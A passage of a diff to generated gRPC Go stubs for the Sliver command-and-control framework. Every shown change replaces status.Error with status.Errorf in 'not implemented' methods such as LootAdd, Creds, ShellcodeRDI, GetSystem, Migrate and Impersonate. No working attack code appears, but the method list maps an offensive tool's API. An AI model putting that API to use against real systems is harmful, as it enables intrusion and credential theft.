status.Error(codes.Unimplemented, "method GetBeacon not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetBeacon not implemented") } func (UnimplementedSliverRPCServer) RmBeacon(context.Context, *clientpb.Beacon) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method RmBeacon not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RmBeacon not implemented") } func (UnimplementedSliverRPCServer) GetBeaconTasks(context.Context, *clientpb.Beacon) (*clientpb.BeaconTasks, error) { - return nil, status.Error(codes.Unimplemented, "method GetBeaconTasks not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetBeaconTasks not implemented") } func (UnimplementedSliverRPCServer) GetBeaconTaskContent(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error) { - return nil, status.Error(codes.Unimplemented, "method GetBeaconTaskContent not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetBeaconTaskContent not implemented") } func (UnimplementedSliverRPCServer) CancelBeaconTask(context.Context, *clientpb.BeaconTask) (*clientpb.BeaconTask, error) { - return nil, status.Error(codes.Unimplemented, "method CancelBeaconTask not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CancelBeaconTask not implemented") } func (UnimplementedSliverRPCServer) UpdateBeaconIntegrityInformation(context.Context, *clientpb.BeaconIntegrity) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method UpdateBeaconIntegrityInformation not implemented") + return nil, status.Errorf(codes.Unimplemented, "method UpdateBeaconIntegrityInformation not implemented") } func (UnimplementedSliverRPCServer) GetJobs(context.Context, *commonpb.Empty) (*clientpb.Jobs, error) { - return nil, status.Error(codes.Unimplemented, "method GetJobs not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetJobs not implemented") } func (UnimplementedSliverRPCServer) KillJob(context.Context, *clientpb.KillJobReq) (*clientpb.KillJob, error) { - return nil, status.Error(codes.Unimplemented, "method KillJob not implemented") + return nil, status.Errorf(codes.Unimplemented, "method KillJob not implemented") } func (UnimplementedSliverRPCServer) RestartJobs(context.Context, *clientpb.RestartJobReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method RestartJobs not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RestartJobs not implemented") } func (UnimplementedSliverRPCServer) StartTCPStagerListener(context.Context, *clientpb.StagerListenerReq) (*clientpb.StagerListener, error) { - return nil, status.Error(codes.Unimplemented, "method StartTCPStagerListener not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StartTCPStagerListener not implemented") } func (UnimplementedSliverRPCServer) LootAdd(context.Context, *clientpb.Loot) (*clientpb.Loot, error) { - return nil, status.Error(codes.Unimplemented, "method LootAdd not implemented") + return nil, status.Errorf(codes.Unimplemented, "method LootAdd not implemented") } func (UnimplementedSliverRPCServer) LootRm(context.Context, *clientpb.Loot) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method LootRm not implemented") + return nil, status.Errorf(codes.Unimplemented, "method LootRm not implemented") } func (UnimplementedSliverRPCServer) LootUpdate(context.Context, *clientpb.Loot) (*clientpb.Loot, error) { - return nil, status.Error(codes.Unimplemented, "method LootUpdate not implemented") + return nil, status.Errorf(codes.Unimplemented, "method LootUpdate not implemented") } func (UnimplementedSliverRPCServer) LootContent(context.Context, *clientpb.Loot) (*clientpb.Loot, error) { - return nil, status.Error(codes.Unimplemented, "method LootContent not implemented") + return nil, status.Errorf(codes.Unimplemented, "method LootContent not implemented") } func (UnimplementedSliverRPCServer) LootAll(context.Context, *commonpb.Empty) (*clientpb.AllLoot, error) { - return nil, status.Error(codes.Unimplemented, "method LootAll not implemented") + return nil, status.Errorf(codes.Unimplemented, "method LootAll not implemented") } func (UnimplementedSliverRPCServer) Creds(context.Context, *commonpb.Empty) (*clientpb.Credentials, error) { - return nil, status.Error(codes.Unimplemented, "method Creds not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Creds not implemented") } func (UnimplementedSliverRPCServer) CredsAdd(context.Context, *clientpb.Credentials) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CredsAdd not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CredsAdd not implemented") } func (UnimplementedSliverRPCServer) CredsRm(context.Context, *clientpb.Credentials) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CredsRm not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CredsRm not implemented") } func (UnimplementedSliverRPCServer) CredsUpdate(context.Context, *clientpb.Credentials) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CredsUpdate not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CredsUpdate not implemented") } func (UnimplementedSliverRPCServer) GetCredByID(context.Context, *clientpb.Credential) (*clientpb.Credential, error) { - return nil, status.Error(codes.Unimplemented, "method GetCredByID not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetCredByID not implemented") } func (UnimplementedSliverRPCServer) GetCredsByHashType(context.Context, *clientpb.Credential) (*clientpb.Credentials, error) { - return nil, status.Error(codes.Unimplemented, "method GetCredsByHashType not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetCredsByHashType not implemented") } func (UnimplementedSliverRPCServer) GetPlaintextCredsByHashType(context.Context, *clientpb.Credential) (*clientpb.Credentials, error) { - return nil, status.Error(codes.Unimplemented, "method GetPlaintextCredsByHashType not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetPlaintextCredsByHashType not implemented") } func (UnimplementedSliverRPCServer) CredsSniffHashType(context.Context, *clientpb.Credential) (*clientpb.Credential, error) { - return nil, status.Error(codes.Unimplemented, "method CredsSniffHashType not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CredsSniffHashType not implemented") } func (UnimplementedSliverRPCServer) Hosts(context.Context, *commonpb.Empty) (*clientpb.AllHosts, error) { - return nil, status.Error(codes.Unimplemented, "method Hosts not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Hosts not implemented") } func (UnimplementedSliverRPCServer) Host(context.Context, *clientpb.Host) (*clientpb.Host, error) { - return nil, status.Error(codes.Unimplemented, "method Host not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Host not implemented") } func (UnimplementedSliverRPCServer) HostRm(context.Context, *clientpb.Host) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method HostRm not implemented") + return nil, status.Errorf(codes.Unimplemented, "method HostRm not implemented") } func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method HostIOCRm not implemented") + return nil, status.Errorf(codes.Unimplemented, "method HostIOCRm not implemented") } func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) { - return nil, status.Error(codes.Unimplemented, "method Generate not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented") } func (UnimplementedSliverRPCServer) GenerateSpoofMetadata(context.Context, *clientpb.GenerateSpoofMetadataReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method GenerateSpoofMetadata not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GenerateSpoofMetadata not implemented") } func (UnimplementedSliverRPCServer) GenerateExternal(context.Context, *clientpb.ExternalGenerateReq) (*clientpb.ExternalImplantConfig, error) { - return nil, status.Error(codes.Unimplemented, "method GenerateExternal not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GenerateExternal not implemented") } func (UnimplementedSliverRPCServer) GenerateExternalSaveBuild(context.Context, *clientpb.ExternalImplantBinary) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method GenerateExternalSaveBuild not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GenerateExternalSaveBuild not implemented") } func (UnimplementedSliverRPCServer) GenerateExternalGetBuildConfig(context.Context, *clientpb.ImplantBuild) (*clientpb.ExternalImplantConfig, error) { - return nil, status.Error(codes.Unimplemented, "method GenerateExternalGetBuildConfig not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GenerateExternalGetBuildConfig not implemented") } func (UnimplementedSliverRPCServer) GenerateStage(context.Context, *clientpb.GenerateStageReq) (*clientpb.Generate, error) { - return nil, status.Error(codes.Unimplemented, "method GenerateStage not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GenerateStage not implemented") } func (UnimplementedSliverRPCServer) StageImplantBuild(context.Context, *clientpb.ImplantStageReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method StageImplantBuild not implemented") + return nil, status.Errorf(codes.Unimplemented, "method StageImplantBuild not implemented") } func (UnimplementedSliverRPCServer) GetHTTPC2Profiles(context.Context, *commonpb.Empty) (*clientpb.HTTPC2Configs, error) { - return nil, status.Error(codes.Unimplemented, "method GetHTTPC2Profiles not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetHTTPC2Profiles not implemented") } func (UnimplementedSliverRPCServer) GetHTTPC2ProfileByName(context.Context, *clientpb.C2ProfileReq) (*clientpb.HTTPC2Config, error) { - return nil, status.Error(codes.Unimplemented, "method GetHTTPC2ProfileByName not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetHTTPC2ProfileByName not implemented") } func (UnimplementedSliverRPCServer) SaveHTTPC2Profile(context.Context, *clientpb.HTTPC2ConfigReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method SaveHTTPC2Profile not implemented") + return nil, status.Errorf(codes.Unimplemented, "method SaveHTTPC2Profile not implemented") } -func (UnimplementedSliverRPCServer) BuilderRegister(*clientpb.Builder, grpc.ServerStreamingServer[clientpb.Event]) error { - return status.Error(codes.Unimplemented, "method BuilderRegister not implemented") +func (UnimplementedSliverRPCServer) BuilderRegister(*clientpb.Builder, SliverRPC_BuilderRegisterServer) error { + return status.Errorf(codes.Unimplemented, "method BuilderRegister not implemented") } func (UnimplementedSliverRPCServer) BuilderTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method BuilderTrigger not implemented") + return nil, status.Errorf(codes.Unimplemented, "method BuilderTrigger not implemented") } func (UnimplementedSliverRPCServer) Builders(context.Context, *commonpb.Empty) (*clientpb.Builders, error) { - return nil, status.Error(codes.Unimplemented, "method Builders not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Builders not implemented") } func (UnimplementedSliverRPCServer) GetCertificateInfo(context.Context, *clientpb.CertificatesReq) (*clientpb.CertificateInfo, error) { - return nil, status.Error(codes.Unimplemented, "method GetCertificateInfo not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetCertificateInfo not implemented") } func (UnimplementedSliverRPCServer) GetCertificateAuthorityInfo(context.Context, *commonpb.Empty) (*clientpb.CertificateAuthorityInfo, error) { - return nil, status.Error(codes.Unimplemented, "method GetCertificateAuthorityInfo not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetCertificateAuthorityInfo not implemented") } func (UnimplementedSliverRPCServer) Crack(context.Context, *clientpb.CrackCommand) (*clientpb.CrackResponse, error) { - return nil, status.Error(codes.Unimplemented, "method Crack not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Crack not implemented") } -func (UnimplementedSliverRPCServer) CrackstationRegister(*clientpb.Crackstation, grpc.ServerStreamingServer[clientpb.Event]) error { - return status.Error(codes.Unimplemented, "method CrackstationRegister not implemented") +func (UnimplementedSliverRPCServer) CrackstationRegister(*clientpb.Crackstation, SliverRPC_CrackstationRegisterServer) error { + return status.Errorf(codes.Unimplemented, "method CrackstationRegister not implemented") } func (UnimplementedSliverRPCServer) CrackstationTrigger(context.Context, *clientpb.Event) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CrackstationTrigger not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CrackstationTrigger not implemented") } func (UnimplementedSliverRPCServer) CrackstationBenchmark(context.Context, *clientpb.CrackBenchmark) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CrackstationBenchmark not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CrackstationBenchmark not implemented") } func (UnimplementedSliverRPCServer) Crackstations(context.Context, *commonpb.Empty) (*clientpb.Crackstations, error) { - return nil, status.Error(codes.Unimplemented, "method Crackstations not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Crackstations not implemented") } func (UnimplementedSliverRPCServer) CrackTaskByID(context.Context, *clientpb.CrackTask) (*clientpb.CrackTask, error) { - return nil, status.Error(codes.Unimplemented, "method CrackTaskByID not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CrackTaskByID not implemented") } func (UnimplementedSliverRPCServer) CrackTaskUpdate(context.Context, *clientpb.CrackTask) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CrackTaskUpdate not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CrackTaskUpdate not implemented") } func (UnimplementedSliverRPCServer) CrackFilesList(context.Context, *clientpb.CrackFile) (*clientpb.CrackFiles, error) { - return nil, status.Error(codes.Unimplemented, "method CrackFilesList not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CrackFilesList not implemented") } func (UnimplementedSliverRPCServer) CrackFileCreate(context.Context, *clientpb.CrackFile) (*clientpb.CrackFile, error) { - return nil, status.Error(codes.Unimplemented, "method CrackFileCreate not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CrackFileCreate not implemented") } func (UnimplementedSliverRPCServer) CrackFileChunkUpload(context.Context, *clientpb.CrackFileChunk) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CrackFileChunkUpload not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CrackFileChunkUpload not implemented") } func (UnimplementedSliverRPCServer) CrackFileChunkDownload(context.Context, *clientpb.CrackFileChunk) (*clientpb.CrackFileChunk, error) { - return nil, status.Error(codes.Unimplemented, "method CrackFileChunkDownload not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CrackFileChunkDownload not implemented") } func (UnimplementedSliverRPCServer) CrackFileComplete(context.Context, *clientpb.CrackFile) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CrackFileComplete not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CrackFileComplete not implemented") } func (UnimplementedSliverRPCServer) CrackFileDelete(context.Context, *clientpb.CrackFile) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method CrackFileDelete not implemented") + return nil, status.Errorf(codes.Unimplemented, "method CrackFileDelete not implemented") } func (UnimplementedSliverRPCServer) Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error) { - return nil, status.Error(codes.Unimplemented, "method Regenerate not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Regenerate not implemented") } func (UnimplementedSliverRPCServer) ImplantBuilds(context.Context, *commonpb.Empty) (*clientpb.ImplantBuilds, error) { - return nil, status.Error(codes.Unimplemented, "method ImplantBuilds not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ImplantBuilds not implemented") } func (UnimplementedSliverRPCServer) DeleteImplantBuild(context.Context, *clientpb.DeleteReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method DeleteImplantBuild not implemented") + return nil, status.Errorf(codes.Unimplemented, "method DeleteImplantBuild not implemented") } func (UnimplementedSliverRPCServer) Canaries(context.Context, *commonpb.Empty) (*clientpb.Canaries, error) { - return nil, status.Error(codes.Unimplemented, "method Canaries not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Canaries not implemented") } func (UnimplementedSliverRPCServer) GenerateWGClientConfig(context.Context, *commonpb.Empty) (*clientpb.WGClientConfig, error) { - return nil, status.Error(codes.Unimplemented, "method GenerateWGClientConfig not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GenerateWGClientConfig not implemented") } func (UnimplementedSliverRPCServer) GenerateUniqueIP(context.Context, *commonpb.Empty) (*clientpb.UniqueWGIP, error) { - return nil, status.Error(codes.Unimplemented, "method GenerateUniqueIP not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GenerateUniqueIP not implemented") } func (UnimplementedSliverRPCServer) ImplantProfiles(context.Context, *commonpb.Empty) (*clientpb.ImplantProfiles, error) { - return nil, status.Error(codes.Unimplemented, "method ImplantProfiles not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ImplantProfiles not implemented") } func (UnimplementedSliverRPCServer) DeleteImplantProfile(context.Context, *clientpb.DeleteReq) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method DeleteImplantProfile not implemented") + return nil, status.Errorf(codes.Unimplemented, "method DeleteImplantProfile not implemented") } func (UnimplementedSliverRPCServer) SaveImplantProfile(context.Context, *clientpb.ImplantProfile) (*clientpb.ImplantProfile, error) { - return nil, status.Error(codes.Unimplemented, "method SaveImplantProfile not implemented") + return nil, status.Errorf(codes.Unimplemented, "method SaveImplantProfile not implemented") } func (UnimplementedSliverRPCServer) ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error) { - return nil, status.Error(codes.Unimplemented, "method ShellcodeRDI not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ShellcodeRDI not implemented") } func (UnimplementedSliverRPCServer) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) { - return nil, status.Error(codes.Unimplemented, "method GetCompiler not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetCompiler not implemented") } func (UnimplementedSliverRPCServer) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) { - return nil, status.Error(codes.Unimplemented, "method ShellcodeEncoder not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoder not implemented") } func (UnimplementedSliverRPCServer) ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) { - return nil, status.Error(codes.Unimplemented, "method ShellcodeEncoderMap not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoderMap not implemented") } func (UnimplementedSliverRPCServer) TrafficEncoderMap(context.Context, *commonpb.Empty) (*clientpb.TrafficEncoderMap, error) { - return nil, status.Error(codes.Unimplemented, "method TrafficEncoderMap not implemented") + return nil, status.Errorf(codes.Unimplemented, "method TrafficEncoderMap not implemented") } func (UnimplementedSliverRPCServer) TrafficEncoderAdd(context.Context, *clientpb.TrafficEncoder) (*clientpb.TrafficEncoderTests, error) { - return nil, status.Error(codes.Unimplemented, "method TrafficEncoderAdd not implemented") + return nil, status.Errorf(codes.Unimplemented, "method TrafficEncoderAdd not implemented") } func (UnimplementedSliverRPCServer) TrafficEncoderRm(context.Context, *clientpb.TrafficEncoder) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method TrafficEncoderRm not implemented") + return nil, status.Errorf(codes.Unimplemented, "method TrafficEncoderRm not implemented") } func (UnimplementedSliverRPCServer) Websites(context.Context, *commonpb.Empty) (*clientpb.Websites, error) { - return nil, status.Error(codes.Unimplemented, "method Websites not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Websites not implemented") } func (UnimplementedSliverRPCServer) Website(context.Context, *clientpb.Website) (*clientpb.Website, error) { - return nil, status.Error(codes.Unimplemented, "method Website not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Website not implemented") } func (UnimplementedSliverRPCServer) WebsiteRemove(context.Context, *clientpb.Website) (*commonpb.Empty, error) { - return nil, status.Error(codes.Unimplemented, "method WebsiteRemove not implemented") + return nil, status.Errorf(codes.Unimplemented, "method WebsiteRemove not implemented") } func (UnimplementedSliverRPCServer) WebsiteAddContent(context.Context, *clientpb.WebsiteAddContent) (*clientpb.Website, error) { - return nil, status.Error(codes.Unimplemented, "method WebsiteAddContent not implemented") + return nil, status.Errorf(codes.Unimplemented, "method WebsiteAddContent not implemented") } func (UnimplementedSliverRPCServer) WebsiteUpdateContent(context.Context, *clientpb.WebsiteAddContent) (*clientpb.Website, error) { - return nil, status.Error(codes.Unimplemented, "method WebsiteUpdateContent not implemented") + return nil, status.Errorf(codes.Unimplemented, "method WebsiteUpdateContent not implemented") } func (UnimplementedSliverRPCServer) WebsiteRemoveContent(context.Context, *clientpb.WebsiteRemoveContent) (*clientpb.Website, error) { - return nil, status.Error(codes.Unimplemented, "method WebsiteRemoveContent not implemented") + return nil, status.Errorf(codes.Unimplemented, "method WebsiteRemoveContent not implemented") } func (UnimplementedSliverRPCServer) Ping(context.Context, *sliverpb.Ping) (*sliverpb.Ping, error) { - return nil, status.Error(codes.Unimplemented, "method Ping not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Ping not implemented") } func (UnimplementedSliverRPCServer) Ps(context.Context, *sliverpb.PsReq) (*sliverpb.Ps, error) { - return nil, status.Error(codes.Unimplemented, "method Ps not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Ps not implemented") } func (UnimplementedSliverRPCServer) Terminate(context.Context, *sliverpb.TerminateReq) (*sliverpb.Terminate, error) { - return nil, status.Error(codes.Unimplemented, "method Terminate not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Terminate not implemented") } func (UnimplementedSliverRPCServer) Ifconfig(context.Context, *sliverpb.IfconfigReq) (*sliverpb.Ifconfig, error) { - return nil, status.Error(codes.Unimplemented, "method Ifconfig not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Ifconfig not implemented") } func (UnimplementedSliverRPCServer) Netstat(context.Context, *sliverpb.NetstatReq) (*sliverpb.Netstat, error) { - return nil, status.Error(codes.Unimplemented, "method Netstat not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Netstat not implemented") } func (UnimplementedSliverRPCServer) Ls(context.Context, *sliverpb.LsReq) (*sliverpb.Ls, error) { - return nil, status.Error(codes.Unimplemented, "method Ls not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Ls not implemented") } func (UnimplementedSliverRPCServer) Cd(context.Context, *sliverpb.CdReq) (*sliverpb.Pwd, error) { - return nil, status.Error(codes.Unimplemented, "method Cd not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Cd not implemented") } func (UnimplementedSliverRPCServer) Pwd(context.Context, *sliverpb.PwdReq) (*sliverpb.Pwd, error) { - return nil, status.Error(codes.Unimplemented, "method Pwd not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Pwd not implemented") } func (UnimplementedSliverRPCServer) Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error) { - return nil, status.Error(codes.Unimplemented, "method Mv not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Mv not implemented") } func (UnimplementedSliverRPCServer) Cp(context.Context, *sliverpb.CpReq) (*sliverpb.Cp, error) { - return nil, status.Error(codes.Unimplemented, "method Cp not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Cp not implemented") } func (UnimplementedSliverRPCServer) Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error) { - return nil, status.Error(codes.Unimplemented, "method Rm not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Rm not implemented") } func (UnimplementedSliverRPCServer) Mkdir(context.Context, *sliverpb.MkdirReq) (*sliverpb.Mkdir, error) { - return nil, status.Error(codes.Unimplemented, "method Mkdir not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Mkdir not implemented") } func (UnimplementedSliverRPCServer) Download(context.Context, *sliverpb.DownloadReq) (*sliverpb.Download, error) { - return nil, status.Error(codes.Unimplemented, "method Download not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Download not implemented") } func (UnimplementedSliverRPCServer) Upload(context.Context, *sliverpb.UploadReq) (*sliverpb.Upload, error) { - return nil, status.Error(codes.Unimplemented, "method Upload not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Upload not implemented") } func (UnimplementedSliverRPCServer) Grep(context.Context, *sliverpb.GrepReq) (*sliverpb.Grep, error) { - return nil, status.Error(codes.Unimplemented, "method Grep not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Grep not implemented") } func (UnimplementedSliverRPCServer) Chmod(context.Context, *sliverpb.ChmodReq) (*sliverpb.Chmod, error) { - return nil, status.Error(codes.Unimplemented, "method Chmod not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Chmod not implemented") } func (UnimplementedSliverRPCServer) Chown(context.Context, *sliverpb.ChownReq) (*sliverpb.Chown, error) { - return nil, status.Error(codes.Unimplemented, "method Chown not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Chown not implemented") } func (UnimplementedSliverRPCServer) Chtimes(context.Context, *sliverpb.ChtimesReq) (*sliverpb.Chtimes, error) { - return nil, status.Error(codes.Unimplemented, "method Chtimes not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Chtimes not implemented") } func (UnimplementedSliverRPCServer) MemfilesList(context.Context, *sliverpb.MemfilesListReq) (*sliverpb.Ls, error) { - return nil, status.Error(codes.Unimplemented, "method MemfilesList not implemented") + return nil, status.Errorf(codes.Unimplemented, "method MemfilesList not implemented") } func (UnimplementedSliverRPCServer) MemfilesAdd(context.Context, *sliverpb.MemfilesAddReq) (*sliverpb.MemfilesAdd, error) { - return nil, status.Error(codes.Unimplemented, "method MemfilesAdd not implemented") + return nil, status.Errorf(codes.Unimplemented, "method MemfilesAdd not implemented") } func (UnimplementedSliverRPCServer) MemfilesRm(context.Context, *sliverpb.MemfilesRmReq) (*sliverpb.MemfilesRm, error) { - return nil, status.Error(codes.Unimplemented, "method MemfilesRm not implemented") + return nil, status.Errorf(codes.Unimplemented, "method MemfilesRm not implemented") } func (UnimplementedSliverRPCServer) Mount(context.Context, *sliverpb.MountReq) (*sliverpb.Mount, error) { - return nil, status.Error(codes.Unimplemented, "method Mount not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Mount not implemented") } func (UnimplementedSliverRPCServer) ProcessDump(context.Context, *sliverpb.ProcessDumpReq) (*sliverpb.ProcessDump, error) { - return nil, status.Error(codes.Unimplemented, "method ProcessDump not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ProcessDump not implemented") } func (UnimplementedSliverRPCServer) RunAs(context.Context, *sliverpb.RunAsReq) (*sliverpb.RunAs, error) { - return nil, status.Error(codes.Unimplemented, "method RunAs not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RunAs not implemented") } func (UnimplementedSliverRPCServer) Impersonate(context.Context, *sliverpb.ImpersonateReq) (*sliverpb.Impersonate, error) { - return nil, status.Error(codes.Unimplemented, "method Impersonate not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Impersonate not implemented") } func (UnimplementedSliverRPCServer) RevToSelf(context.Context, *sliverpb.RevToSelfReq) (*sliverpb.RevToSelf, error) { - return nil, status.Error(codes.Unimplemented, "method RevToSelf not implemented") + return nil, status.Errorf(codes.Unimplemented, "method RevToSelf not implemented") } func (UnimplementedSliverRPCServer) GetSystem(context.Context, *clientpb.GetSystemReq) (*sliverpb.GetSystem, error) { - return nil, status.Error(codes.Unimplemented, "method GetSystem not implemented") + return nil, status.Errorf(codes.Unimplemented, "method GetSystem not implemented") } func (UnimplementedSliverRPCServer) Task(context.Context, *sliverpb.TaskReq) (*sliverpb.Task, error) { - return nil, status.Error(codes.Unimplemented, "method Task not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Task not implemented") } func (UnimplementedSliverRPCServer) Msf(context.Context, *clientpb.MSFReq) (*sliverpb.Task, error) { - return nil, status.Error(codes.Unimplemented, "method Msf not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Msf not implemented") } func (UnimplementedSliverRPCServer) MsfRemote(context.Context, *clientpb.MSFRemoteReq) (*sliverpb.Task, error) { - return nil, status.Error(codes.Unimplemented, "method MsfRemote not implemented") + return nil, status.Errorf(codes.Unimplemented, "method MsfRemote not implemented") } func (UnimplementedSliverRPCServer) ExecuteAssembly(context.Context, *sliverpb.ExecuteAssemblyReq) (*sliverpb.ExecuteAssembly, error) { - return nil, status.Error(codes.Unimplemented, "method ExecuteAssembly not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ExecuteAssembly not implemented") } func (UnimplementedSliverRPCServer) Migrate(context.Context, *clientpb.MigrateReq) (*sliverpb.Migrate, error) { - return nil, status.Error(codes.Unimplemented, "method Migrate not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Migrate not implemented") } func (UnimplementedSliverRPCServer) Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error) { - return nil, status.Error(codes.Unimplemented, "method Execute not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Execute not implemented") } func (UnimplementedSliverRPCServer) ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) { - return nil, status.Error(codes.Unimplemented, "method ExecuteWindows not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ExecuteWindows not implemented") } func (UnimplementedSliverRPCServer) ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) { - return nil, status.Error(codes.Unimplemented, "method ExecuteChildren not implemented") + return nil, status.Errorf(codes.Unimplemented, "method ExecuteChildren not implemented") } func (UnimplementedSliverRPCServer) Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error) { - return nil, status.Error(codes.Unimplemented, "method Sideload not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Sideload not implemented") } func (UnimplementedSliverRPCServer) SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error) { - return nil, status.Error(codes.Unimplemented, "method SpawnDll not implemented") + return nil, status.Errorf(codes.Unimplemented, "method SpawnDll not implemented") } func (UnimplementedSliverRPCServer) Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error) { - return nil, status.Error(codes.Unimplemented, "method Screenshot not implemented") + return nil, status.Errorf(codes.Unimplemented, "method Screenshot not implemented") } func (UnimplementedSliverRPCServer) CurrentTokenOwner(context.Context, 